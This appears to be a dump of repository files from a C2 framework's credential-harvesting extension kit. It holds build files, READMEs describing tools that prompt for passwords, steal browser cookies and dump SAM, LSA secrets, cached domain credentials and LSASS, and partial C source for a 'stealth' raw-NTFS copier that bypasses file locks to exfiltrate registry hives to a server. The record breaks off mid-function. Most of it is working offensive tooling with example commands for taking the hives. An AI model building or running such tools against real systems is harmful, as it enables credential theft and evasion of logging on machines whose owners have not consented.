${CMAKE_C_STANDARD}\")\nmessage(STATUS \"CXX Standard: ${CMAKE_CXX_STANDARD}\")\nmessage(STATUS \"Build Type: ${CMAKE_BUILD_TYPE}\")\nmessage(STATUS \"Main Include Dir: ${MAIN_INCLUDE_DIR}\")\nmessage(STATUS \"==========================================\")\n"
  },
  {
    "path": "Creds-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Creds-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories\ninclude_directories(\n    ${CMAKE_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}/_include\n#    ${CMAKE_CURRENT_SOURCE_DIR}/UnderlayCopy\n)\n\n# Source files\nset(ASKCREDS_SOURCES askcreds/askcreds.c)\nset(AUTOLOGON_SOURCES autologon/autologon.c)\nset(CREDMAN_SOURCES credman/credentialmanager.c)\nset(HASHDUMP_SOURCES hashdump/hashdump.c)\nset(COOKIE_MONSTER_SOURCES cookie-monster/cookie-monster-bof.c)\nset(GET_NETNTLM_SOURCES get-netntlm/get-netntlm.c)\nset(UNDERLAYCOPY_SOURCES UnderlayCopy/entry.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -DBOF -w -Wno-int-conversion -Wno-incompatible-pointer-types\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(askcreds OBJECT ${ASKCREDS_SOURCES})\nadd_library(autologon OBJECT ${AUTOLOGON_SOURCES})\nadd_library(credman OBJECT ${CREDMAN_SOURCES})\nadd_library(hashdump OBJECT ${HASHDUMP_SOURCES})\nadd_library(cookie-monster OBJECT ${COOKIE_MONSTER_SOURCES})\nadd_library(get-netntlm OBJECT ${GET_NETNTLM_SOURCES})\nadd_library(underlaycopy OBJECT ${UNDERLAYCOPY_SOURCES})\ntarget_compile_options(underlaycopy PRIVATE -masm=intel)\n\n# Subdirectory (commented out - directory doesn't have CMakeLists.txt)\n# add_subdirectory(nanodump)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_askcreds ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:askcreds> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/askcreds.x64.o\n    DEPENDS askcreds\n    COMMENT \"Copying askcreds object file\"\n)\n\nadd_custom_target(copy_autologon ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:autologon> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/autologon.x64.o\n    DEPENDS autologon\n    COMMENT \"Copying autologon object file\"\n)\n\nadd_custom_target(copy_credman ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:credman> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/credman.x64.o\n    DEPENDS credman\n    COMMENT \"Copying credman object file\"\n)\n\nadd_custom_target(copy_hashdump ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:hashdump> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/hashdump.x64.o\n    DEPENDS hashdump\n    COMMENT \"Copying hashdump object file\"\n)\n\nadd_custom_target(copy_cookie-monster ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:cookie-monster> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/cookie-monster-bof.x64.o\n    DEPENDS cookie-monster\n    COMMENT \"Copying cookie-monster object file\"\n)\n\nadd_custom_target(copy_get-netntlm ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:get-netntlm> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/get-netntlm.x64.o\n    DEPENDS get-netntlm\n    COMMENT \"Copying get-netntlm object file\"\n)\n\nadd_custom_target(copy_underlaycopy ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:underlaycopy> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/underlaycopy.x64.o\n    DEPENDS underlaycopy\n    COMMENT \"Copying underlaycopy object file\"\n)\n"
  },
  {
    "path": "Creds-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-int-conversion -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof: clean\n\t# 64-bit builds\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t@($(CC64) $(CFLAGS) askcreds/askcreds.c -o _bin/askcreds.x64.o   && $(STRIP64) _bin/askcreds.x64.o) && echo '[+] askcreds' || echo '[!] askcreds'\n\t@($(CC64) $(CFLAGS) cookie-monster/cookie-monster-bof.c -o _bin/cookie-monster-bof.x64.o && $(STRIP64) _bin/cookie-monster-bof.x64.o)  && echo '[+] cookie-monster-bof' || echo '[!] cookie-monster-bof'\n\t@($(CC64) $(CFLAGS) hashdump/hashdump.c -o _bin/hashdump.x64.o && $(STRIP64) _bin/hashdump.x64.o)  && echo '[+] hashdump' || echo '[!] hashdump'\n\t@($(CC64) $(CFLAGS) get-netntlm/get-netntlm.c -o _bin/get-netntlm.x64.o && $(STRIP64) _bin/get-netntlm.x64.o)  && echo '[+] get-netntlm' || echo '[!] get-netntlm'\n\t@($(CC64) $(CFLAGS) -masm=intel UnderlayCopy/entry.c -o _bin/underlaycopy.x64.o && $(STRIP64) _bin/underlaycopy.x64.o)  && echo '[+] underlaycopy' || echo '[!] underlaycopy'\n\t@($(CC64) $(CFLAGS) lsadump/secrets.c -o _bin/lsadump_secrets.x64.o && $(STRIP64) _bin/lsadump_secrets.x64.o) && echo '[+] lsadump-secrets' || echo '[!] lsadump-secrets'\n\t@($(CC64) $(CFLAGS) lsadump/sam.c -o _bin/lsadump_sam.x64.o && $(STRIP64) _bin/lsadump_sam.x64.o) && echo '[+] lsadump-sam' || echo '[!] lsadump-sam'\n\t@($(CC64) $(CFLAGS) lsadump/cache.c -o _bin/lsadump_cache.x64.o && $(STRIP64) _bin/lsadump_cache.x64.o) && echo '[+] lsadump-cache' || echo '[!] lsadump-cache'\n\n\t# 32-bit builds\n\t@#($(CC86) $(CFLAGS) askcreds/askcreds.c -o _bin/askcreds.x32.o   && $(STRIP86) _bin/askcreds.x32.o) && echo '[+] askcreds (x32)' || echo '[!] askcreds (x32)'\n\t@($(CC86) $(CFLAGS) cookie-monster/cookie-monster-bof.c -o _bin/cookie-monster-bof.x32.o && $(STRIP86) _bin/cookie-monster-bof.x32.o)  && echo '[+] cookie-monster-bof (x32)' || echo '[!] cookie-monster-bof (x32)'\n\t@($(CC86) $(CFLAGS) hashdump/hashdump.c -o _bin/hashdump.x32.o && $(STRIP86) _bin/hashdump.x32.o)  && echo '[+] hashdump (x32)' || echo '[!] hashdump (x32)'\n\t@($(CC86) $(CFLAGS) get-netntlm/get-netntlm.c -o _bin/get-netntlm.x32.o && $(STRIP86) _bin/get-netntlm.x32.o)  && echo '[+] get-netntlm (x32)' || echo '[!] get-netntlm (x32)'\n\t@($(CC86) $(CFLAGS) UnderlayCopy/entry.c -o _bin/underlaycopy.x32.o && $(STRIP86) _bin/underlaycopy.x32.o)  && echo '[+] underlaycopy (x32)' || echo '[!] underlaycopy (x32)'\n\t@#($(CC86) $(CFLAGS) lsadump/secrets.c -o _bin/lsadump_secrets.x32.o && $(STRIP86) _bin/lsadump_secrets.x32.o) && echo '[+] lsadump-secrets' || echo '[!] lsadump-secrets'\n\t@#($(CC86) $(CFLAGS) lsadump/sam.c -o _bin/lsadump_sam.x32.o && $(STRIP86) _bin/lsadump_sam.x32.o) && echo '[+] lsadump-sam' || echo '[!] lsadump-sam'\n\t@#($(CC86) $(CFLAGS) lsadump/cache.c -o _bin/lsadump_cache.x32.o && $(STRIP86) _bin/lsadump_cache.x32.o) && echo '[+] lsadump-cache' || echo '[!] lsadump-cache'\n\n\t@$(MAKE) --no-print-directory -C nanodump\n\t@cp nanodump/dist/*.o _bin/\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "Creds-BOF/README.md",
    "content": "# Creds-BOF\n\nBOF tools that can be used to harvest passwords.\n\n![](_img/01.png)\n\n\n\n## askcreds\n\nA BOF tool that can be used to collect passwords using CredUIPromptForWindowsCredentialsName.\n\n```\naskcreds [-p prompt] [-n note] [-t wait_time]\n```\n\n\n\n## autologon\n\nChecks the registry for autologon information.\n\n```\nautologon\n```\n\n\n\n## cookie-monster\n\nSteal browser cookies and logins data for edge, chrome and firefox through a BOF! [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Creds-BOF/cookie-monster/README.md)\n\n\n\n## credman\n\nChecks the current user's Windows Credential Manager for saved web passwords and returns them.\n\n```\ncredman\n```\n\n\n\n### get-netntlm\n\nThis is a port of Internal Monologue from https://github.com/GhostPack/Seatbelt. Like Seatbelt, this code will utilize the local SSPI to elict NetNTLM and therefore little to no network traffic will be generated. The `--no-ess` option can be utilized and if you would like the attempt to disable session security in NetNTLMv1\n\n```\nget-netntlm [--no-ess]\n```\n\n\n\n## hashdump\n\nGathers NTLM hashes from SAM and SYSTEM.\n\n```\nhashdump\n```\n\nThe **Hashdump** item will be added to the **Access** menu in the Sessions Table and Graph.\n\n![](_img/02.png)\n\n\n\n## lsadump\n\nBOF tools for dumping LSA secrets, SAM hashes, and cached domain credentials from Windows systems.\n\n### lsadump_secrets\n\nDumps LSA secrets from the SECURITY registry hive. Extracts and decrypts LSA secrets including default password, DPAPI master keys, service account passwords, auto-logon credentials, and more. Requires SYSTEM privileges.\n\n```\nlsadump_secrets\n```\n\n### lsadump_sam\n\nDumps SAM hashes directly from the registry. Extracts NTLM hashes for all local user accounts from the SAM registry hive. Requires admin privileges.\n\n```\nlsadump_sam\n```\n\nAutomatically extracts and adds discovered credentials to Adaptix credentials store.\n\n### lsadump_cache\n\nDumps cached domain credentials (DCC2/MSCacheV2) from the registry. Extracts cached domain credentials for domain users who have logged on to the system. Requires SYSTEM privileges.\n\n```\nlsadump_cache\n```\n\nAutomatically extracts and adds discovered cached credentials to Adaptix credentials store.\n\n\n\n## nanodump\n\nA flexible tool that creates a minidump of the LSASS process. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Creds-BOF/nanodumnp/README.md)\n\n\n\n## underlaycopy\n\nA low-level file copy tool that copies files using direct NTFS volume access, bypassing file locks and access restrictions. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Creds-BOF/UnderlayCopy-BOF/README.md)\n\n\n\n## Credits\n* C2-Tool-Collection - https://github.com/outflanknl/C2-Tool-Collection\n* PrivCheck - https://github.com/ostrichgolf/PrivCheck\n* nanodump - https://github.com/fortra/nanodump\n* Get-NetNTLM - https://github.com/KingOfTheNOPs/Get-NetNTLM\n* LSAdump - https://github.com/shashinma/LSAdump-BOF\n* UnderlayCopy-BOF - https://github.com/shashinma/UnderlayCopy-BOF"
  },
  {
    "path": "Creds-BOF/UnderlayCopy/README.md",
    "content": "# UnderlayCopy-BOF\n> #### Developed for [@Adaptix-Framework](https://github.com/Adaptix-Framework)\n<br>\n\nA low-level file copy tool ported to BOF format. Copies files using direct NTFS volume access, bypassing file locks and access restrictions:\n- Copy locked files (SAM, SECURITY, SYSTEM registry hives)\n- Two copy modes: MFT (Master File Table) and Metadata (FSCTL_GET_RETRIEVAL_POINTERS)\n- Direct volume access using NtCreateFile/NtReadFile/NtWriteFile (stealth mode)\n- Support for sparse files and data runs\n- Save to disk or download to server\n- Automatic filename generation for downloads (HOSTNAME_FILENAME.hive format)\n\n```\nunderlaycopy <mode> <source> [-w destination] [--download]\n```\n\n#### Arguments:\n- `mode`: Copy mode - `MFT` or `Metadata`\n  - `MFT`: Reads file data directly from MFT records and data runs. Best for locked files (SAM, SECURITY, SYSTEM)\n  - `Metadata`: Uses FSCTL_GET_RETRIEVAL_POINTERS to get file extents. Faster but may fail on locked files\n- `source`: Source file path to copy (e.g., `C:\\Windows\\System32\\config\\SAM`)\n- `-w destination`: Destination file path (required if `--download` is not used)\n- `--download`: Download file to server instead of saving to disk. File will be saved as `HOSTNAME_FILENAME.hive` on the server\n\n#### Features:\n- **Bypass file locks**: Copy files that are locked by the system (registry hives, active processes)\n- **Stealth mode**: Uses low-level NTFS APIs (NtCreateFile, NtReadFile, NtWriteFile) to minimize logging\n- **Sparse file support**: Handles sparse clusters correctly (writes zeros for sparse regions)\n- **Two copy modes**: \n  - MFT mode: Direct MFT record parsing - works on locked files\n  - Metadata mode: Uses Windows API for extent retrieval - faster but requires file handle\n- **Memory-efficient**: Uses 64KB buffers for I/O operations\n- **Secure cleanup**: Clears sensitive data from memory after operations\n\n#### Examples:\n```\n# Copy locked SAM registry hive using MFT mode (recommended for locked files)\nunderlaycopy MFT C:\\Windows\\System32\\config\\SAM -w C:\\temp\\SAM_copy\n\n# Copy file using Metadata mode (faster for unlocked files)\nunderlaycopy Metadata C:\\Windows\\System32\\notepad.exe -w C:\\temp\\notepad_copy.exe\n\n# Download locked SECURITY hive to server (saved as HOSTNAME_SECURITY.hive)\nunderlaycopy MFT C:\\Windows\\System32\\config\\SECURITY --download\n\n# Download SYSTEM hive with custom filename\nunderlaycopy MFT C:\\Windows\\System32\\config\\SYSTEM --download -w SYSTEM_backup\n```\n\n#### Technical Details:\n- **MFT Mode**: \n  - Reads NTFS boot sector to locate MFT\n  - Gets file MFT record number from GetFileInformationByHandle\n  - Parses MFT record to extract $DATA attribute\n  - Reads data runs and copies clusters directly from volume\n  - Handles resident data (small files stored in MFT) and non-resident data (data runs)\n  \n- **Metadata Mode**:\n  - Opens source file with FILE_FLAG_BACKUP_SEMANTICS\n  - Uses FSCTL_GET_RETRIEVAL_POINTERS to get file extents\n  - Copies data directly from volume using extent LCNs (Logical Cluster Numbers)\n  - May fail on locked files that cannot be opened\n\n- **Volume Access**:\n  - Opens volume using NtCreateFile with \\??\\C: path\n  - Reads directly from disk sectors using NtReadFile\n  - Bypasses file system locks and access checks\n\n#### Use Cases:\n- Extracting locked registry hives (SAM, SECURITY, SYSTEM) for offline analysis\n- Copying files locked by active processes\n- Stealth file operations without triggering file system logging\n- Bypassing access restrictions on system files\n"
  },
  {
    "path": "Creds-BOF/UnderlayCopy/entry.c",
    "content": "#include <windows.h>\n#include <stdint.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"adaptix.h\"\n#include \"underlaycopy.h\"\n\n// Helper function to normalize path for CreateFileW (\\\\?\\ prefix)\nBOOL NormalizePathForCreateFileW(LPCWSTR path, WCHAR* normalizedPath, int bufferSize) {\n    if (!path || !normalizedPath || bufferSize < 5) {\n        return FALSE;\n    }\n    \n    int pathLen = KERNEL32$lstrlenW(path);\n    if (pathLen == 0 || pathLen >= bufferSize - 4) {\n        return FALSE;\n    }\n    \n    // Check if already has \\\\?\\ prefix\n    if (path[0] == L'\\\\' && path[1] == L'\\\\' && path[2] == L'?' && path[3] == L'\\\\') {\n        MSVCRT$memcpy(normalizedPath, path, (pathLen + 1) * sizeof(WCHAR));\n    } else {\n        normalizedPath[0] = L'\\\\';\n        normalizedPath[1] = L'\\\\';\n        normalizedPath[2] = L'?';\n        normalizedPath[3] = L'\\\\';\n        MSVCRT$memcpy(normalizedPath + 4, path, (pathLen + 1) * sizeof(WCHAR));\n    }\n    \n    return TRUE;\n}\n\n// Helper function to normalize path for NtCreateFile (\\??\\ prefix)\nBOOL NormalizePathForNtCreateFile(LPCWSTR path, WCHAR* normalizedPath, int bufferSize) {\n    if (!path || !normalizedPath || bufferSize < 5) {\n        return FALSE;\n    }\n    \n    WCHAR fullDestPath[MAX_PATH * 2];\n    WCHAR* filePart = NULL;\n    DWORD fullPathLen = KERNEL32$GetFullPathNameW(path, MAX_PATH * 2, fullDestPath, &filePart);\n    \n    if (fullPathLen == 0 || fullPathLen >= MAX_PATH * 2) {\n        fullPathLen = KERNEL32$lstrlenW(path);\n        if (fullPathLen >= bufferSize - 4) {\n            return FALSE;\n        }\n        MSVCRT$memcpy(fullDestPath, path, (fullPathLen + 1) * sizeof(WCHAR));\n    }\n    \n    // Check if already has \\??\\ or \\\\?\\ prefix\n    if ((fullDestPath[0] == L'\\\\' && fullDestPath[1] == L'\\\\' && fullDestPath[2] == L'?' && fullDestPath[3] == L'\\\\') ||\n        (fullDestPath[0] == L'\\\\' && fullDestPath[1] == L'?' && fullDestPath[2] == L'?' && fullDestPath[3] == L'\\\\')) {\n        // Already normalized, but convert \\\\?\\ to \\??\\ if needed\n        if (fullDestPath[1] == L'\\\\') {\n            normalizedPath[0] = L'\\\\';\n            normalizedPath[1] = L'?';\n            normalizedPath[2] = L'?';\n            normalizedPath[3] = L'\\\\';\n            MSVCRT$memcpy(normalizedPath + 4, fullDestPath + 4, (fullPathLen - 3) * sizeof(WCHAR));\n        } else {\n            if (fullPathLen >= bufferSize) {\n                return FALSE;\n            }\n            MSVCRT$memcpy(normalizedPath, fullDestPath, (fullPathLen + 1) * sizeof(WCHAR));\n        }\n    } else {\n        // Add \\??\\ prefix\n        if (fullPathLen >= bufferSize - 4) {\n            return FALSE;\n        }\n        normalizedPath[0] = L'\\\\';\n        normalizedPath[1] = L'?';\n        normalizedPath[2] = L'?';\n        normalizedPath[3] = L'\\\\';\n        MSVCRT$memcpy(normalizedPath + 4, fullDestPath, (fullPathLen + 1) * sizeof(WCHAR));\n    }\n    \n    return TRUE;\n}\n\n// Helper function to create output file using NtCreateFile\nBOOL CreateOutputFileNt(LPCWSTR destPath, HANDLE* hOutput) {\n    WCHAR normalizedDestPath[MAX_PATH * 2];\n    OBJECT_ATTRIBUTES objAttr;\n    UNICODE_STRING outputPath;\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    \n    if (!NormalizePathForNtCreateFile(destPath, normalizedDestPath, MAX_PATH * 2)) {\n        return FALSE;\n    }\n    \n    NTDLL$RtlInitUnicodeString(&outputPath, normalizedDestPath);\n    \n    objAttr.Length = sizeof(OBJECT_ATTRIBUTES);\n    objAttr.RootDirectory = NULL;\n    objAttr.ObjectName = &outputPath;\n    objAttr.Attributes = OBJ_CASE_INSENSITIVE;\n    objAttr.SecurityDescriptor = NULL;\n    objAttr.SecurityQualityOfService = NULL;\n    \n    status = NTDLL$NtCreateFile(\n        hOutput,\n        FILE_WRITE_DATA | SYNCHRONIZE,\n        &objAttr,\n        &ioStatus,\n        NULL,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OVERWRITE_IF,\n        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,\n        NULL,\n        0\n    );\n    \n    return NT_SUCCESS(status);\n}\n\n// Common I/O functions to reduce code duplication\n\n// Write sparse data to file\nBOOL WriteSparseToFile(HANDLE hOutput, ULONGLONG offset, ULONGLONG size, BYTE* tempBuffer) {\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    \n    MSVCRT$memset(tempBuffer, 0, (size_t)size);\n    \n    LARGE_INTEGER writeOffset;\n    writeOffset.QuadPart = offset;\n    \n    status = NTDLL$NtWriteFile(\n        hOutput,\n        NULL,\n        NULL,\n        NULL,\n        &ioStatus,\n        tempBuffer,\n        (ULONG)size,\n        &writeOffset,\n        NULL\n    );\n    \n    if (!NT_SUCCESS(status)) {\n        return FALSE;\n    }\n    \n    // Note: bytesWritten is updated in caller using size parameter\n    return TRUE;\n}\n\n// Write sparse data to memory\nvoid WriteSparseToMemory(BYTE* destBuffer, ULONGLONG offset, ULONGLONG size) {\n    MSVCRT$memset(destBuffer + offset, 0, (size_t)size);\n}\n\n// Copy chunk from volume to file\nBOOL CopyChunkToFile(HANDLE hVolume, HANDLE hOutput, ULONGLONG diskOffset, ULONGLONG toCopy, ULONGLONG writeOffset, BYTE* buffer, DWORD bufferSize, ULONGLONG* bytesWritten) {\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    ULONGLONG copied = 0;\n    \n    *bytesWritten = 0;\n    \n    while (copied < toCopy) {\n        ULONG chunkSize = (ULONG)((toCopy - copied > bufferSize) ? bufferSize : (toCopy - copied));\n        \n        LARGE_INTEGER readOffset;\n        readOffset.QuadPart = diskOffset + copied;\n        \n        status = NTDLL$NtReadFile(\n            hVolume,\n            NULL,\n            NULL,\n            NULL,\n            &ioStatus,\n            buffer,\n            chunkSize,\n            &readOffset,\n            NULL\n        );\n        \n        if (!NT_SUCCESS(status)) {\n            return FALSE;\n        }\n        \n        if (ioStatus.Information == 0) {\n            return FALSE;\n        }\n        \n        LARGE_INTEGER writeOffsetLarge;\n        writeOffsetLarge.QuadPart = writeOffset + copied;\n        \n        status = NTDLL$NtWriteFile(\n            hOutput,\n            NULL,\n            NULL,\n            NULL,\n            &ioStatus,\n            buffer,\n            (ULONG)ioStatus.Information,\n            &writeOffsetLarge,\n            NULL\n        );\n        \n        if (!NT_SUCCESS(status)) {\n            return FALSE;\n        }\n        \n        copied += ioStatus.Information;\n        MSVCRT$memset(buffer, 0, bufferSize);\n    }\n    \n    *bytesWritten = copied;\n    return TRUE;\n}\n\n// Copy chunk from volume to memory\nBOOL CopyChunkToMemory(HANDLE hVolume, BYTE* destBuffer, ULONGLONG destOffset, ULONGLONG diskOffset, ULONGLONG toCopy, BYTE* readBuffer, DWORD bufferSize, ULONGLONG* bytesCopied) {\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    ULONGLONG copied = 0;\n    \n    *bytesCopied = 0;\n    \n    while (copied < toCopy) {\n        ULONG chunkSize = (ULONG)((toCopy - copied > bufferSize) ? bufferSize : (toCopy - copied));\n        \n        LARGE_INTEGER readOffset;\n        readOffset.QuadPart = diskOffset + copied;\n        \n        status = NTDLL$NtReadFile(\n            hVolume,\n            NULL,\n            NULL,\n            NULL,\n            &ioStatus,\n            readBuffer,\n            chunkSize,\n            &readOffset,\n            NULL\n        );\n        \n        if (!NT_SUCCESS(status)) {\n            return FALSE;\n        }\n        \n        if (ioStatus.Information == 0) {\n            return FALSE;\n        }\n        \n        MSVCRT$memcpy(destBuffer + destOffset + copied, readBuffer, (size_t)ioStatus.Information);\n        copied += ioStatus.Information;\n        MSVCRT$memset(readBuffer, 0, bufferSize);\n    }\n    \n    *bytesCopied = copied;\n    return TRUE;\n}\n\n// Copy file by extents directly to memory buffer (for Metadata mode download)\nBOOL CopyFileByExtentsToMemory(HANDLE hVolume, EXTENT* extents, DWORD extentCount, ULONGLONG clusterSize, ULONGLONG fileSize, BYTE** outputBuffer, ULONGLONG* outputSize) {\n    ULONGLONG bytesCopied = 0;\n    BYTE* readBuffer = NULL;\n    DWORD bufferSize = 64 * 1024;\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n    \n    *outputBuffer = NULL;\n    *outputSize = 0;\n    \n    if (fileSize > 0x7FFFFFFF) {\n        return FALSE; // File too large\n    }\n    \n    BYTE* tempBuffer = (BYTE*)intAlloc((SIZE_T)fileSize);\n    if (!tempBuffer) {\n        return FALSE;\n    }\n    \n    readBuffer = (BYTE*)intAlloc(bufferSize);\n    if (!readBuffer) {\n        intFree(tempBuffer);\n        return FALSE;\n    }\n    \n    for (DWORD i = 0; i < extentCount; i++) {\n        ULONGLONG extentBytes = extents[i].lengthClusters * clusterSize;\n        ULONGLONG remaining = fileSize - bytesCopied;\n        ULONGLONG toCopy = (extentBytes > remaining) ? remaining : extentBytes;\n        \n        if (toCopy == 0) break;\n        \n        // Check for sparse extent (LCN = -1)\n        if (extents[i].lcn == (ULONGLONG)-1) {\n            WriteSparseToMemory(tempBuffer, bytesCopied, toCopy);\n            bytesCopied += toCopy;\n            continue;\n        }\n        \n        ULONGLONG diskOffset = extents[i].lcn * clusterSize;\n        ULONGLONG copied = 0;\n        \n        if (!CopyChunkToMemory(hVolume, tempBuffer, bytesCopied, diskOffset, toCopy, readBuffer, bufferSize, &copied)) {\n            if (bytesCopied >= fileSize) {\n                break;\n            }\n            intFree(readBuffer);\n            intFree(tempBuffer);\n            return FALSE;\n        }\n        \n        bytesCopied += copied;\n        if (bytesCopied >= fileSize) break;\n    }\n    \n    MSVCRT$memset(readBuffer, 0, bufferSize);\n    intFree(readBuffer);\n    \n    if (bytesCopied != fileSize) {\n        intFree(tempBuffer);\n        return FALSE;\n    }\n    \n    *outputBuffer = tempBuffer;\n    *outputSize = bytesCopied;\n    return TRUE;\n}\n\n// Helper function to read NTFS boot sector (stealth mode - no logging)\nBOOL ReadNtfsBoot(HANDLE hVolume, NTFS_BOOT* boot) {\n    BYTE buffer[512];\n    IO_STATUS_BLOCK ioStatus;\n    LARGE_INTEGER offset;\n    NTSTATUS status;\n    offset.QuadPart = 0;\n\n    // Use direct NtReadFile for stealth\n    status = NTDLL$NtReadFile(\n        hVolume,\n        NULL,\n        NULL,\n        NULL,\n        &ioStatus,\n        buffer,\n        512,\n        &offset,\n        NULL\n    );\n\n    if (!NT_SUCCESS(status) || ioStatus.Information != 512) {\n        return FALSE;\n    }\n\n    boot->bytesPerSector = *(WORD*)(buffer + BOOT_BYTES_PER_SECTOR);\n    boot->sectorsPerCluster = buffer[BOOT_SECTORS_PER_CLUSTER];\n    boot->clusterSize = boot->bytesPerSector * boot->sectorsPerCluster;\n    boot->mftCluster = *(ULONGLONG*)(buffer + BOOT_MFT_CLUSTER);\n\n    // Clear buffer from memory\n    MSVCRT$memset(buffer, 0, sizeof(buffer));\n\n    return TRUE;\n}\n\n// Get file information using GetFileInformationByHandle\nBOOL GetNtfsFileInfo(LPCWSTR filePath, ULONGLONG* mftRecordNumber, ULONGLONG* fileSize) {\n    HANDLE hFile = INVALID_HANDLE_VALUE;\n    BY_HANDLE_FILE_INFORMATION fileInfo;\n    WCHAR normalizedPath[MAX_PATH * 2];\n\n    if (!NormalizePathForCreateFileW(filePath, normalizedPath, MAX_PATH * 2)) {\n        return FALSE;\n    }\n\n    hFile = KERNEL32$CreateFileW(\n        normalizedPath,\n        FILE_READ_ATTRIBUTES,\n        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n        NULL,\n        OPEN_EXISTING,\n        FILE_FLAG_BACKUP_SEMANTICS,\n        NULL\n    );\n\n    if (hFile == INVALID_HANDLE_VALUE) {\n        return FALSE;\n    }\n\n    if (!KERNEL32$GetFileInformationByHandle(hFile, &fileInfo)) {\n        KERNEL32$CloseHandle(hFile);\n        return FALSE;\n    }\n\n    // Extract MFT record number from FileIndex\n    ULONGLONG frn = ((ULONGLONG)fileInfo.nFileIndexHigh << 32) | fileInfo.nFileIndexLow;\n    *mftRecordNumber = frn & 0x0000FFFFFFFFFFFF;\n    *fileSize = ((ULONGLONG)fileInfo.nFileSizeHigh << 32) | fileInfo.nFileSizeLow;\n\n    KERNEL32$CloseHandle(hFile);\n    return TRUE;\n}\n\n// Read MFT record (using direct NtReadFile for stealth)\nBOOL ReadMftRecord(HANDLE hVolume, NTFS_BOOT* boot, ULONGLONG recordNumber, BYTE* record) {\n    ULONGLONG mftOffset = boot->mftCluster * boot->clusterSize;\n    ULONGLONG recordOffset = mftOffset + (recordNumber * MFT_RECORD_SIZE);\n    LARGE_INTEGER offset;\n    IO_STATUS_BLOCK ioStatus;\n    NTSTATUS status;\n\n    offset.QuadPart = recordOffset;\n\n    // Use direct NtReadFile for stealth\n    status = NTDLL$NtReadFile(\n        hVolume,\n        NULL,\n        NULL,\n        NULL,\n        &ioStatus,\n        record,\n        MFT_RECORD_SIZE,\n        &offset,\n        NULL\n    );\n\n    if (!NT_SUCCESS(status) || ioStatus.Information != MFT_RECORD_SIZE) {\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n// Parse data runs from $DATA attribute\nint ParseDataRuns(BYTE* dataRuns, int dataRunsSize, DATA_RUN** runs, NTFS_BOOT* boot) {\n    int pos = 0;\n    ULONGLONG currentLCN = 0;\n    int runCount = 0;\n    DATA_RUN* runArray = NULL;\n    int arraySize = 0;\n\n    while (pos < dataRunsSize && dataRuns[pos] != 0x00) {\n        BYTE header = dataRuns[pos++];\n        BYTE lenSize = header & 0x0F;\n        BYTE offSize = (header >> 4) & 0x0F;\n\n        if (lenSize == 0 || lenSize > 8 || offSize > 8) {\n            break;\n        }\n\n        // Read length\n        ULONGLONG length = 0;\n        int i;\n        for (i = 0; i < lenSize; i++) {\n            length |= ((ULONGLONG)dataRuns[pos++]) << (8 * i);\n        }\n\n        // Read offset (relative LCN)\n        ULONGLONG offset = 0;\n        BOOL isSparse = (offSize == 0);\n        \n        if (offSize > 0) {\n            for (i = 0; i < offSize; i++) {\n                offset |= ((ULONGLONG)dataRuns[pos++]) << (8 * i);\n            }\n            // Two's complement sign extension\n            if (offSize < 8 && (dataRuns[pos - 1] & 0x80)) {\n                ULONGLONG signExtend = ((ULONGLONG)0xFFFFFFFFFFFFFFFF) << (8 * offSize);\n                offset |= signExtend;\n            }\n            currentLCN += offset;\n        }\n        // If offSize == 0, this is a sparse cluster - don't update currentLCN\n\n        // Reallocate array if needed\n        if (runCount >= arraySize) {\n            arraySize = arraySize == 0 ? 16 : arraySize * 2;\n            DATA_RUN* newArray = (DATA_RUN*)intAlloc(sizeof(DATA_RUN) * arraySize);\n            if (runArray) {\n                MSVCRT$memcpy(newArray, runArray, sizeof(DATA_RUN) * runCount);\n                intFree(runArray);\n            }\n            runArray = newArray;\n        }\n\n        // For sparse clusters (offSize == 0), set LCN to 0 to mark as sparse\n        runArray[runCount].lcn = isSparse ? 0 : currentLCN;\n        